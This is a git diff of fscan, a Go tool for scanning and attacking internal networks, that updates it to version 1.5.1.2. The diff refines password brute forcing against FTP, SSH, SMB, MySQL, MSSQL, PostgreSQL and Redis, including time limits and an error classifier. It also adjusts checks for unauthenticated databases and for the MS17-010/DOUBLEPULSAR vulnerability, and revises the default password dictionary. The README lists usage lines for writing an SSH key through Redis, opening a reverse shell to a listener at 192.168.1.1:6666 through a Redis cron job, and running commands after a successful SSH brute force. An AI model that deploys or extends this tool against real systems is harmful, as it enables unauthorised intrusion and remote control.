diff --git a/Plugins/elasticsearch.go b/Plugins/elasticsearch.go index ebb615d..d46eddd 100644 --- a/Plugins/elasticsearch.go +++ b/Plugins/elasticsearch.go @@ -32,10 +32,13 @@ func geturl2(info *common.HostInfo) (flag bool, err error) { defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) if strings.Contains(string(body), "/_cat/master") { - result := fmt.Sprintf("Elastic:%s unauthorized", url) + result := fmt.Sprintf("[+] Elastic:%s unauthorized", url) common.LogSuccess(result) flag = true } + } else { + errlog := fmt.Sprintf("[-] Elastic:%s %v", url, err) + common.LogError(errlog) } } return flag, err diff --git a/Plugins/ftp.go b/Plugins/ftp.go index eeb8dd4..3cf7fc5 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -9,6 +9,19 @@ import ( ) func FtpScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() + flag, err := FtpConn(info, "anonymous", "") + if flag == true && err == nil { + return err + } else { + errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, common.PORTList["ftp"], "anonymous", err) + common.LogError(errlog) + tmperr = err + if common.CheckErrs(err) { + return err + } + } + for _, user := range common.Userdict["ftp"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -16,9 +29,15 @@ func FtpScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { return err } else { - errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err) + errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } } @@ -33,7 +52,7 @@ func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err er err = conn.Login(Username, Password) if err == nil { flag = true - result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password) + result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password) dirs, err := conn.List("") //defer conn.Logout() if err == nil { diff --git a/Plugins/memcached.go b/Plugins/memcached.go index 3cb40ec..cd3b491 100644 --- a/Plugins/memcached.go +++ b/Plugins/memcached.go @@ -8,21 +8,28 @@ import ( "time" ) -func MemcachedScan(info *common.HostInfo) (err error, result string) { +func MemcachedScan(info *common.HostInfo) (err error) { realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"]) client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) if err == nil { - client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second)) - client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten - rev := make([]byte, 1024) - n, err := client.Read(rev) + err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second)) if err == nil { - if strings.Contains(string(rev[:n]), "STAT") { - defer client.Close() - result = fmt.Sprintf("Memcached:%s unauthorized", realhost) - common.LogSuccess(result) + _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten + if err == nil { + rev := make([]byte, 1024) + n, err := client.Read(rev) + if err == nil { + if strings.Contains(string(rev[:n]), "STAT") { + result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost) + common.LogSuccess(result) + } + client.Close() + } else { + errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, common.PORTList["mem"], err) + common.LogError(errlog) + } } } } - return err, result + return err } diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index ee38e32..5b4a9aa 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -11,6 +11,10 @@ import ( func MongodbScan(info *common.HostInfo) error { _, err := MongodbUnauth(info) + if err != nil { + errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, common.PORTList["mgo"], err) + common.LogError(errlog) + } return err } @@ -46,7 +50,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { text := string(buf[0:count]) if strings.Contains(text, "totalLinesWritten") { flag = true - result := fmt.Sprintf("Mongodb:%v unauthorized", realhost) + result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost) common.LogSuccess(result) } } diff --git a/Plugins/ms17017.go b/Plugins/ms17017.go index ae28a6e..3e3d0c6 100644 --- a/Plugins/ms17017.go +++ b/Plugins/ms17017.go @@ -21,6 +21,10 @@ var ( func MS17010(info *common.HostInfo) error { err := MS17010Scan(info) + if err != nil { + errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) + common.LogError(errlog) + } return err } @@ -138,12 +142,12 @@ func MS17010Scan(info *common.HostInfo) error { if reply[34] == 0x51 { //fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip) - result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip) + result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip) common.LogSuccess(result) } } else { - result := fmt.Sprintf("%s (%s)", ip, os) + result := fmt.Sprintf("[*] %s (%s)", ip, os) common.LogSuccess(result) } return err diff --git a/Plugins/mssql.go b/Plugins/mssql.go index d549339..d9035ca 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -10,6 +10,7 @@ import ( ) func MssqlScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() for _, user := range common.Userdict["mssql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -17,9 +18,15 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { return err } else { - errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err) + errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } } diff --git a/Plugins/mysql.go b/Plugins/mysql.go index 82e5575..f56fdb0 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -10,6 +10,7 @@ import ( ) func MysqlScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() for _, user := range common.Userdict["mysql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -17,9 +18,15 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { return err } else { - errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err) + errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } } diff --git a/Plugins/postgres.go b/Plugins/postgres.go index c79131a..224ccc7 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -10,6 +10,7 @@ import ( ) func PostgresScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() for _, user := range common.Userdict["postgresql"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", string(user), -1) @@ -17,9 +18,15 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { return err } else { - errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err) + errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } } diff --git a/Plugins/redis.go b/Plugins/redis.go index cf96596..fdb9f46 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -11,6 +11,7 @@ import ( ) func RedisScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() flag, err := RedisUnauth(info) if flag == true && err == nil { return err @@ -21,9 +22,15 @@ func RedisScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { return err } else { - errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err) + errlog := fmt.Sprintf("[-] redis %v:%v %v %v %v", info.Host, common.PORTList["redis"], pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } return tmperr diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 1da7391..a7ea47b 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -66,19 +66,21 @@ func Scan(info common.HostInfo) { common.WaitSave() } +var Mutex = &sync.Mutex{} + func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { wg.Add(1) go func() { - err, _ := ScanFunc(PluginList, scantype, &info) - if common.LogErr { - tmperr := err[0].Interface() - if tmperr != nil { - tmperr1 := err[0].Interface().(error) - errtext := strings.Replace(tmperr1.Error(), "\n", "", -1) - fmt.Println("[-] ", info.Host+":"+info.Ports, errtext) - } - } + Mutex.Lock() + common.Num += 1 + Mutex.Unlock() + + ScanFunc(PluginList, scantype, &info) wg.Done() + + Mutex.Lock() + common.End += 1 + Mutex.Unlock() <-ch }() ch <- struct{}{} diff --git a/Plugins/smb.go b/Plugins/smb.go index 145cec8..c446ec2 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -9,6 +9,7 @@ import ( ) func SmbScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -16,16 +17,22 @@ func SmbScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { var result string if info.Domain != "" { - result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass) + result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass) } else { - result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass) + result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass) } common.LogSuccess(result) return err } else { - errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err) + errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } } diff --git a/Plugins/ssh.go b/Plugins/ssh.go index 42b28cd..0b4639c 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -10,6 +10,7 @@ import ( ) func SshScan(info *common.HostInfo) (tmperr error) { + starttime := time.Now().Unix() for _, user := range common.Userdict["ssh"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -17,9 +18,15 @@ func SshScan(info *common.HostInfo) (tmperr error) { if flag == true && err == nil { return err } else { - errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err) + errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, common.PORTList["ssh"], user, pass, err) common.LogError(errlog) tmperr = err + if common.CheckErrs(err) { + return err + } + if time.Now().Unix()-starttime > 300 { + return err + } } } } diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index b75d70b..3eb57fd 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -12,6 +12,15 @@ import ( ) func WebTitle(info *common.HostInfo) error { + err := GOWebTitle(info) + if err != nil { + errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) + common.LogError(errlog) + } + return err +} + +func GOWebTitle(info *common.HostInfo) error { var CheckData []WebScan.CheckDatas if info.Url == "" { if info.Ports == "80" { diff --git a/README.md b/README.md index 30cc3be..2237164 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,7 @@ fscan.exe -h 192.168.1.1/16 (B段扫描) 其他用法 ``` +fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index d8fc08a..bfac8e0 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -17,8 +17,9 @@ func WebScan(info *common.HostInfo) { var pocinfo = common.Pocinfo pocinfo.Target = info.Url err := Execute(pocinfo) - if err != nil && common.LogErr { - fmt.Println(info.Url, err) + if err != nil { + errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) + common.LogError(errlog) } } @@ -33,7 +34,6 @@ func Execute(PocInfo common.PocInfo) error { } lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName) - return nil } diff --git a/common/config.go b/common/config.go index 8bad926..b28caf5 100644 --- a/common/config.go +++ b/common/config.go @@ -1,16 +1,16 @@ package common var Userdict = map[string][]string{ - "ftp": {"www", "admin", "root", "db", "wwwroot", "data", "web", "ftp"}, - "mysql": {"root"}, - "mssql": {"root", "sa"}, + "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "root"}, "smb": {"administrator", "guest"}, "postgresql": {"postgres", "admin"}, "ssh": {"root", "admin"}, "mongodb": {"root", "admin"}, } -var Passwords = []string{"admin123A", "admin123", "123456", "admin", "root", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"} +var Passwords = []string{"123456", "admin", "admin123", "root", "", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"} var PORTList = map[string]int{ "ftp": 21, diff --git a/common/flag.go b/common/flag.go index da9d313..67556fe 100644 --- a/common/flag.go +++ b/common/flag.go @@ -11,7 +11,7 @@ func Banner() { / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ - fscan version: 1.5.1.1 + fscan version: 1.5.1.2 ` print(banner) } diff --git a/common/log.go b/common/log.go index 8f1b669..63ba856 100644 --- a/common/log.go +++ b/common/log.go @@ -3,9 +3,12 @@ package common import ( "fmt" "os" + "strings" "time" ) +var Num int64 +var End int64 var Results = make(chan string) var Worker = 0 var Start = true @@ -49,7 +52,7 @@ func WriteFile(result string, filename string) { func WaitSave() { for { - if Worker == 0 { + if Worker <= 0 { close(Results) return } @@ -60,7 +63,27 @@ func LogError(errinfo interface{}) { if LogErr { if (time.Now().Unix()-LogSucTime) > 10 && (time.Now().Unix()-LogErrTime) > 10 { fmt.Println(errinfo) + fmt.Println(fmt.Sprintf("已完成 %v/%v", End, Num)) + LogErrTime = time.Now().Unix() + } + } else { + if (time.Now().Unix()-LogSucTime) > 60 && (time.Now().Unix()-LogErrTime) > 60 { + fmt.Println(errinfo) + fmt.Println(fmt.Sprintf("已完成 %v/%v", End, Num)) LogErrTime = time.Now().Unix() } } } + +func CheckErrs(err error) bool { + if err == nil { + return false + } + errs := []string{"closed by the remote host", "too many connections", "i/o timeout", "EOF", "A connection attempt failed", "established connection failed", "connection attempt failed", "Unable to read", "is not allowed to connect to this", "no pg_hba.conf entry"} + for _, key := range errs { + if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) { + return true + } + } + return false +}